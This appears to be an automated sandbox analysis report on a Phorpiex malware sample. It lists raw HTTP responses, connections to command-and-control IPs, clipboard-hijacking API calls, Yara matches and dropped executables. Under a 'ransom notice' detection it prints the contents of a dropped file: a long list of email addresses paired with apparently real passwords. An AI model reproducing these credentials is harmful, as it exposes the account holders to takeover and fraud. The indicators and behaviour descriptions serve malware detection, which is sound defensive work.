72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:39:16 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:39:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:39:42 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:39:54 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:40:06 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.66
                              Source: unknownTCP traffic detected without corresponding DNS query: 2.180.17.238
                              Source: unknownTCP traffic detected without corresponding DNS query: 2.180.17.238
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.84
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00403480
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404110 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,0_2_00404110
                              Source: wsysrxvcs.exe, 00000001.00000002.633098894.000000000067A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404110 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,0_2_00404110

                              Spam, unwanted Advertisements and Ransom Demands

                              barindex
                              Yara detected Phorpiex
                              Source: Yara matchFile source: file.exe, type: SAMPLE
                              Source: Yara matchFile source: 9.0.587025894.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 2.0.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 1.2.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 2.2.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 1.0.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 9.2.587025894.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000002.00000000.330146799.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000000.306324126.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000002.635340368.00000000044B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000009.00000000.394260629.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000000.301551885.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000009.00000002.399491223.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.306336338.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: file.exe PID: 4684, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: wsysrxvcs.exe PID: 2200, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: wsysrxvcs.exe PID: 4544, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: 587025894.exe PID: 6232, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Windows\wsysrxvcs.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\587025894.exe, type: DROPPED
                              Send many emails (e-Mail Spam)
                              Source: SMTPNetwork traffic detected: Mail traffic on many different IPs 107
                              Writes a notice file (html or txt) to demand a ransom
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeFile dropped: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\529[1].txt -> encrypted081@gmail.com:avaboo11!aramshahriari@yahoo.com:ar1353amsahraorhan45@gmail.com:sahra90_otom.c.kent023@gmail.com:$football1990ritika_gupta2012@yahoo.com:411198xxx6289@gmail.com:db201a032ryanc999@gmail.com:cgyflames6crazyfrog@gmail.com:plzrdr66hesampouladsade@gmail.com:hes@m136danmc3893@gmail.com:smurfy1234cestacio@gmail.com:aranha9612libra.nett@gmail.com:robinaazharmozumder0@gmail.com:azhar@654321tbonetea@wowway.com:jas11mine$$alexandra@gmail.com:alexandra999***chut05051@gmail.com:5nauuwfgtbdb5yignaciorosat@gmail.com:dexter87!alauddinchy94@gmail.com:ruhanctg199jasonb1998@gmail.com:fiesta1234radical009@gmail.com:111111rahulawasthi0074@gmail.com:avantichangwoony@naver.com:db89slr4z.duyjohnpn10@hotmail.com:zoosk6572yadi31121972@gmail.com:1972yd@$@quintana@gmail.com:1gjx0yszaceboon908@outlook.com:abc123123nguyenjayn@gmail.com:toby0308hawkins.carlos92@gmail.com:army2012klevjerleu@hotmail.com:wow12345pdornenburg@gmail.com:carrick2edwardrajagukguk@yahoo.com:prapatan01123topbestgJump to dropped file
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004034800_2_00403480
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00402E900_2_00402E90
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00408E900_2_00408E90
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004065000_2_00406500
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004065290_2_00406529
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040EBD80_2_0040EBD8
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_004034801_2_00403480
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_00402E901_2_00402E90
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_00408E901_2_00408E90
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_004065001_2_00406500
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_004065291_2_00406529
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040EBD81_2_0040EBD8
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_004034802_2_00403480
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_00402E902_2_00402E90
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_00408E902_2_00408E90
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_004065002_2_00406500
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_004065292_2_00406529
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040EBD82_2_0040EBD8
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D25318804_2_00007FF7D2531880
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D25329104_2_00007FF7D2532910
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D25389C04_2_00007FF7D25389C0
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4_2_00007FF7D25332204_2_00007FF7D2533220
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FF9A5D60DAA6_2_00007FF9A5D60DAA
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FF9A5D60CA86_2_00007FF9A5D60CA8
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00007FF9A5D60CAA12_2_00007FF9A5D60CAA
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00007FF9A5D609AB12_2_00007FF9A5D609AB
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642CE322015_2_00007FF642CE3220
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642CE291015_2_00007FF642CE2910
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 15_2_00007FF642CE188015_2_00007FF642CE1880
